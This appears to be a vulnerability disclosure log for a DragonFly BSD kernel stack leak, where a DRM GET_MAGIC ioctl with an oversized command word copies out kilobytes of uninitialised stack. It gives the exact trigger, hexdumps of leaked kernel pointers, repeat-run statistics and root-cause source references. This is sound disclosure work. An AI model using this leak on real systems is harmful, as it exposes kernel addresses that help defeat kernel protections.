DF-4569 kernel-stack leak via DRM GET_MAGIC dispatch semantics (replica module) =============================================================================== Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0 X86_64_GENERIC Trigger (uid=1001): /tmp/df_primitive leak 2048 [cmd=0x68006402, nr=0x02] = ioctl(fd, IOC_VOID|IOC_OUT|(2048<<16)|('d'<<8)|0x02, buf) -- identical to what ioctl(fd, ..., DRM_IOCTL_GET_MAGIC dispatch) would do on /dev/dri/card0: drm_getmagic() writes 4 bytes at offset 0 and returns 0. Run 1 (first 512 bytes; full 2048 in run.log): 00000000: 5a 5a 5a 5a 08 00 00 00 03 ca 0c 81 ff ff ff ff |ZZZZ............| 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020: 03 f9 11 18 01 f8 ff ff 80 1a 0f 18 01 f8 ff ff |................| 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040: 4c 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 |L...............| 00000060: 00 90 4a 00 08 00 00 00 80 52 31 8d 00 f8 ff ff |..J......R1.....| 00000090: 80 52 31 8d 00 f8 ff ff 90 bd 0c 81 ff ff ff ff |.R1.............| 000000a0: 80 b8 97 89 00 f8 ff ff c0 5e 99 89 00 f8 ff ff |.........^.......| 000000b0: e8 f9 11 18 01 f8 ff ff 0e 6a bd 80 ff ff ff ff |........j.......| 00000100: f8 f9 11 18 01 f8 ff ff 98 62 bd 80 ff ff ff ff |.........b.......| 00000120: 00 20 8c 81 ff ff ff ff 80 b8 97 89 00 f8 ff ff |. ..............| 00000140: 42 b2 65 80 ff ff ff ff 00 00 00 00 00 00 00 00 |B.e.............| 00000178: 0d 9a b9 80 ff ff ff ff (kernel text ptr)| 000001d8: cf db df ff ff 7f 00 00 (user stack ptr from trapframe) | kernel-pointer-looking qwords (0xffffxxxxxxxxxxxx): 19 in first 512, 30 in all 2048 Stability across 3 runs (2048 bytes each): run1: 30 kernel ptrs, md5 f3e5a89d503f53c48a74b458ee03b1a5 run2: 27 kernel ptrs, md5 ad8bbe785615c9bdde0c2d0be97f7c26 run3: 30 kernel ptrs, md5 0bd6620068cd62dfa8304fc04046cba6 -> live kernel stack contents, different every run (not stale zero page) Full-size probe: size=8191 (IOCPARM_MAX): ioctl returns 0, 27 kernel pointers leaked; copyout ships ~8KB of kernel stack past the 128-byte buffer. Interpretation: with the real DRM device the same command word reaches drm_ioctl() (sys/dev/drm/drm_ioctl.c:801), which dispatches on nr = cmd & 0xff (line 809) -> drm_getmagic (table entry drm_ioctl.c:573, flags DRM_UNLOCKED only -- no DRM_AUTH), handler writes auth->magic and returns 0 (sys/dev/drm/drm_auth.c:58-76); mapped_ioctl() then copyouts `size' bytes from its 128-byte ubuf.stkbuf (sys/kern/sys_generic.c:729-730).